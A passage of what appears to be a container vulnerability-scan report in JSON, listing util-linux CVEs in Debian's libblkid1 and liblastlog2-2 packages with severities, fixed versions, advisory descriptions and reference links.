"https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892", "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a", "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc", "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf", "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f", "https://linux.oracle.com/cve/CVE-2026-76642.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-76642", "https://www.cve.org/CVERecord?id=CVE-2026-76642", "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper" ], "PublishedDate": "2026-09-03T13:06:08.44Z", "LastModifiedDate": "2026-09-24T20:28:01.78Z" }, { "VulnerabilityID": "CVE-2026-78408", "PkgID": "libblkid1@2.41-5", "PkgName": "libblkid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libblkid1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "51bf0af8d40f4a01" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78408", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:16e078b460c50789e9e1ce585d908609174537897b74d33a90253887e2b8831d", "Title": "util-linux: util-linux: nsenter --join-cgroup leaks root cgroup migration authority", "Description": "The nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.", "Severity": "HIGH", "CweIDs": [ "CWE-775" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H", "V3Score": 7.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/09/05/2", "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78408", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj", "https://linux.oracle.com/cve/CVE-2026-78408.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78408", "https://www.cve.org/CVERecord?id=CVE-2026-78408" ], "PublishedDate": "2026-09-02T16:17:23.687Z", "LastModifiedDate": "2026-11-05T03:17:32.977Z" }, { "VulnerabilityID": "CVE-2026-78409", "PkgID": "libblkid1@2.41-5", "PkgName": "libblkid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libblkid1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "51bf0af8d40f4a01" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78409", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e153504a4743ad5d0f94df6b4d86e53013fcf445bd542e713ca0585f890a7681", "Title": "util-linux: util-linux: X-mount.subdir detached-tree resolution can escape via intermediate symlinks", "Description": "The X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/security/cve/CVE-2026-78409", "https://bugzilla.redhat.com/show_bug.cgi?id=2522607", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv", "https://nvd.nist.gov/vuln/detail/CVE-2026-78409", "https://www.cve.org/CVERecord?id=CVE-2026-78409" ], "PublishedDate": "2026-09-02T16:17:23.833Z", "LastModifiedDate": "2026-11-05T00:17:28.61Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "libblkid1@2.41-5", "PkgName": "libblkid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libblkid1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "51bf0af8d40f4a01" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:32a07b9d51af6930747b6a27aba884b165ce9512777507250186d695a47619ca", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2026-53612", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "liblastlog2-2@2.41-5", "PkgName": "liblastlog2-2", "PkgIdentifier": { "PURL": "pkg:deb/debian/liblastlog2-2@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "eb4f5430aea34a10" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53612", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:829072bf49534a7033873fad25b465d14ad4957a0cea49019e9c469cc941929e", "Title": "util-linux: util-linux: TOCTOU in the mount program when applying post-mount ownership/mode changes", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53612", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/24da33905c7115c4cbccd0afb2a469804e96467a", "https://github.com/util-linux/util-linux/commit/722c96974dd4009a334e4aee556eedaab5fb94b4", "https://github.com/util-linux/util-linux/commit/897a08c2b11dfa66975c3d24d63c7bf5f5be1a7c", "https://github.com/util-linux/util-linux/commit/d0c5adaeb3a3d823aba1377794de8f009b8152cc", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-g8wm-75wr-g2vh", "https://linux.oracle.com/cve/CVE-2026-53612.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53612", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53612" ], "PublishedDate": "2026-10-14T15:17:20.26Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53613", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "liblastlog2-2@2.41-5", "PkgName": "liblastlog2-2", "PkgIdentifier": { "PURL": "pkg:deb/debian/liblastlog2-2@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "eb4f5430aea34a10" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e3835d04fa537363b8994f2bf1f802437a7ae98b345e170be7aea897fe9e2cd9", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53614", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "liblastlog2-2@2.41-5", "PkgName": "liblastlog2-2", "PkgIdentifier": { "PURL": "pkg:deb/debian/liblastlog2-2@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "eb4f5430aea34a10" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53614", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8104e054bbe5762e2cd918d5c52b0a2d1b0a87a72683a3b4aaf9d78c5b8f07de", "Title": "util-linux: util-linux: SUID mount(8) allows nosuid/noexec bypass via LIBMOUNT_FORCE_MOUNT2", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged\nuser to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-807" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53614", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/31e37c1c7dcf25b76ccf41391fe934a75644c661", "https://github.com/util-linux/util-linux/commit/53ff0fcdab12d69c60c971c69a3d0d173fa46ca9", "https://github.com/util-linux/util-linux/commit/9cbfb823500f510b34767edabd3ffd5b436987b4", "https://github.com/util-linux/util-linux/commit/cc81bbcec598cb91f0eb8456282f33eed820ed5f", "https://github.com/util-linux/util-linux/commit/fd6b4d94ff013dc7ed680d4e864610da5b9751f1", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-67r7-8m5w-22wx", "https://linux.oracle.com/cve/CVE-2026-53614.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53614", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53614" ], "PublishedDate": "2026-10-14T16:17:45.93Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "liblastlog2-2@2.41-5", "PkgName": "liblastlog2-2", "PkgIdentifier": { "PURL": "pkg:deb/debian/liblastlog2-2@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "eb4f5430aea34a10" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:92d7f135da33bbcdca6256518e3c9da160b056132b5892c1f10f6993636ad1be", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", 